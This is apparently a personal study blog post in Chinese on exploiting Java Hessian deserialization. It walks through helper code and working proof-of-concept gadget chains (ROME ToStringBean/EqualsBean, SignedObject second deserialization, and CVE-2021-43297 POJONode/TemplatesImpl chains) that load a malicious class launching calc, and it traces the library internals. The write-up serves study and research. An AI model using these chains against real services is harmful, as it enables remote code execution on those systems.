Hessian反序列化
2023-08-29 19:40:51

这次写的比较粗糙,因为是写的给自己看的,就没怎么细致的讲解

hessian介绍

Hessian 是一个用于连接网络服务的二进制协议,他的com.caucho.hessian.client 和 com.caucho.hessian.server包不依赖于任何其他Resin的类(Resin是caucho公司的一个很快的Web服务器,Hessian是他的一部分),因此他能够应用于更小的客户端,比如Java Applet。其实也是因为不依赖所以也可以在任何容器比如Tomcat,Jetty中很方便的使用。

Hessian官方用户文档: https://developer.aliyun.com/article/31862

image.png

Hessian序列化和反序列化

hessian依赖有好几个,其大部分功能都是一样的,只不过在序列化和反序列化时需要使用一些方法

com.caucho.hessian


<dependency>
  <groupId>com.caucho</groupId>
  <artifactId>hessian</artifactId>
  <version>4.0.63</version>
</dependency>

com.alipay.sofa.hessian

<dependency>
  <groupId>com.alipay.sofa</groupId>
  <artifactId>hessian</artifactId>
  <version>3.3.13</version>
</dependency>

序列化和反序列化都是一样的

//Hessian序列化,返回字节码base64加密后的字符串
public static String Hessian_serialize(Object obj) throws IOException {
    ByteArrayOutputStream bao = new ByteArrayOutputStream();
    HessianOutput hessianOutput = new HessianOutput(bao);
    hessianOutput.writeObject(obj);
    return Base64.getEncoder().encodeToString(bao.toByteArray());
}

//Hessian反序列化,将poc进行Base64解密成字节码读取进行反序列化
public static void Hessian_unserialize(String poc) throws IOException {
    byte[] decode = Base64.getDecoder().decode(poc);
    ByteArrayInputStream bai = new ByteArrayInputStream(decode);
    HessianInput hessianInput = new HessianInput(bai);
    Object o = hessianInput.readObject();
}
//hessian2的序列化
public static byte[] Hessian2_Serial(Object o) throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output hessian2Output = new Hessian2Output(baos);
    hessian2Output.writeObject(o);
    hessian2Output.flush();
    return baos.toByteArray();
}


//hessian2的反序列化
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    Hessian2Input hessian2Input = new Hessian2Input(bais);
    Object o = hessian2Input.readObject();
    return o;
}

分析

失败的poc及原因

hessianinput.readObject
    hashmap.put
	    EqualsBean.hashcode
       		 ToStringBean.toString --->getter	
public static void main(String[] args) throws Exception {
    //自己写的工具类,大概功能就是生成一个装填了执行calc的恶意类的templates类
    Object templates = tools.getTemplates(tools.getshortclass("calc"));

    //ROME链的任意getter调用
    ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

    //手动生成HashMap,防止提前调用hashcode()
    HashMap hashMap = tools.makeMap(equalsBean,"1");

    String s = Hessian_serialize(hashMap);
    Hessian_unserialize(s);
}

image.png
很显然,没有计算器弹出,失败了,这是啥原因呢?

在HessianOutput.writeObject中,使用了UnsafeSerializer#introspect方法来获取对象中的字段,判断了成员变量标识符,如果是transient和static字段则不会参与序列化和反序列化流程,

我们在触发templates的getter时,需要用到几个参数
image.png
其中的_tfactory就被transient修饰,导致无法参与序列化和反序列化流程,所以就G了
image.png
image.png
那么该怎么样才能避开呢?很显然,我们可以使用二次反序列化来触发原生的序列化和反序列化

二次反序列化poc

hessianinput.readObject
    hashmap.put
        EqualsBean.hashcode
            ToStringBean.toString
                SignedObject.getObject
                        hashmap.readObject----->hashmap.put
        					EqualsBean.hashcode
           						 ToStringBean.toString
public static void main(String[] args) throws Exception {
    //自己写的工具类,大概功能就是生成一个装填了执行calc的恶意类的templates类
    Object templates = tools.getTemplates(tools.getshortclass("calc"));
    ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
    EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
    HashMap hashMap1 = tools.makeMap(equalsBean, "1"); //直接修改map中的键值对,直接put就会触发hashcode

    //signObject装填
    KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
    kpg.initialize(1024);
    KeyPair kp = kpg.generateKeyPair();
    SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));

    ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject);
    EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
    HashMap hashMap = tools.makeMap(equalsBean1,"1");

    //序列化和反序列化
    Hessian_unserialize(Hessian_serialize(hashMap));
}

image.png
成功执行

writeObject

太麻烦了,不想讲,大概就是会进行序列化类内容的检测,上面有讲,然后会通过它内部的一个map?,这样储存数据 map(hashMap.key,hashMap.key) 大概是这样?,反正就是会把hashmap里的键,拿出来创建一个新的map,键值都是这个键,hashmap的值也一样,讲的不清楚很正常,因为它调用太长了,我也不太懂
image.png
image.png
呃呃看了一眼
image.png
image.png
OK破案了,是tools.makeMap的构造导致的。
正常创建的hashmap结构如下

HashMap hashMap3 = new HashMap();
hashMap3.put(“key1”,”value1”);

image.png

使用tools.makemap创建的结构

HashMap hashMap = tools.makeMap(equalsBean1,”1”);

image.png
有两组键值对

看眼makemap的源码
image.png
看了眼,键值对是储存在hashmap的table参数中的,这里就直接通过反射赋值的方式,将键值对直接赋进了hashmap,不需要走hashmap.put去赋值,就避免了直接触发hashcode导致链子触发

不过直接用hashmap put也行,影响不大,只不过会执行而已,也可以直接在生成templates时不填恶意类字节码,最后在反射该值

readObject

image.png
image.png
从bytes中读一个tag出来
image.png可以看见首位是77
image.png
进入switch
image.png
M对应ascii码值77,进入readType
image.png
也没干啥,又读了一个字节码,然后判断了一下,意义不大好像
image.png
进入readMap
image.png
image.png
新建了一个MapDeserializer,如果走过一遍writeObject的,就会发现有点熟悉,序列化时会从hashmap获取mapserialize
image.png
上面一系列的意义不大,到此处字节码中只剩下了HessianInput类,在writeObject中,writeObject了hashmap中的键值对,此处即可读出EqualsBean,再进入map.put函数
image.png
后面就是经典的ROME链的触发了,就懒得讲了,现在时间是04点41分,看会别的了
总结出来就是这个hessian.input只能触发hashcode?好像也能触发equals,呃呃好像·不行,不过无所谓,我比较喜欢我上一篇写的jdk自带的,虽然很抽象,但是很好用,感觉以后的比赛中也能派上用场

Hessian2的readObject

这个b依赖里,有hessian和hessian2,两个的功能差不多,上面的poc改一下序列化和反序列化函数就可以用了

public static byte[] Hessian2_Serial(Object o) throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output hessian2Output = new Hessian2Output(baos);
    hessian2Output.writeObject(o);
    hessian2Output.flushBuffer();
    return baos.toByteArray();
}


//hessian2依赖的反序列化
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    Hessian2Input hessian2Input = new Hessian2Input(bais);
    Object o = hessian2Input.readObject();
    return o;
}

基本上差不多啊,也是读字节码拿tag,然后进switch
image.png
72对H,进readMap
image.png
然后就又回到了上面的readMap,还是一样的调用
image.png

CVE-2021-43297 Hessian2 toString链

链1

序列化的函数

public static byte[] Hessian2_toString_serialize(Object o) throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(baos);
    baos.write(79);  
    out.setSerializerFactory(new SerializerFactory());
    out.getSerializerFactory().setAllowNonSerializable(true);
    out.writeObject(o);
    out.flush();
    return baos.toByteArray();
}

POC

      //使用javassist重写了jackson
tools.overrideJackson();
      //创建一个恶意templates,命令为calc
      Object templates = tools.getTemplates(tools.getshortclass("calc"));
      POJONode jsonNodes1 = new POJONode(templates);
      BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
      tools.setValue(badAttributeValueExpException,"val",jsonNodes1);
      //装填至signObject中
      Object signObject = tools.second_serialize(badAttributeValueExpException);
      POJONode jsonNodes = new POJONode(signObject);

      //进行序列化和反序列化
      byte[] baos = tools.Hessian2_toString_serialize(jsonNodes);
      tools.Hessian2_Deserial(baos);

链子顺序为

Hessian2.readObject
		POJONode.toString
    	SignedObject.getObject
        BadAttributeValueExpException.readObject
        	POJONode.toString
        		TemplatesImpl.getOutputProperties

开始readObject分析
image.png
image.png
取出序列化数据中的第一个byte为tag,值79,进入switch
image.png79ascii码值对应O,进入case中,进入readInt函数
image.png
再次读取一个byte,进入switch,67取C,但是switch并没有对应的case,进入default,进入了expect函数,传入tag
image.png
执行了readObject,从中获取了POJOnode类对象
image.png
obj不为null,进入if函数,其中对obj进行了字符串拼接操作,触发了POJONode的toString方法
image.png
后面就是经典的jackson的任意getter调用,BaseJsonNode是POJONode的父类,也是走的父类的toString方法触发getter
image.png
触发SignedObject的getObject,进行二次反序列化,之前有说到templates没法参与hessian序列化和反序列化,是因为其中存在修饰符,我们可以通过用二次反序列化去调用jdk原生序列化和反序列化去触发templates的恶意类加载
image.png

链2

两个链子的区别就在于写入的字节码,这里写入的是67

public static byte[] Hessian2_toString_serialize(Object o) throws IOException {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Hessian2Output out = new Hessian2Output(baos);
    baos.write(67);  //改成67即可
    out.setSerializerFactory(new SerializerFactory());
    out.getSerializerFactory().setAllowNonSerializable(true);
    out.writeObject(o);
    out.flush();
    return baos.toByteArray();
}

在readObject处取出我们写入的字节67
image.png
67对应C,进入readObjectDefinition函数image.png
进入readString函数
image.png
继续读一个字节码为67,进入switchimage.png
因不存在进入expect,后续具体实现逻辑和链1一样image.png

更多内容

实际上hessian还有很多玩法,例如hessian反序列化时会使用map.put,还可以通过一些操作使他能够触发equals等操作,Java真是太有意思了

Prev
2023-08-29 19:40:51
Next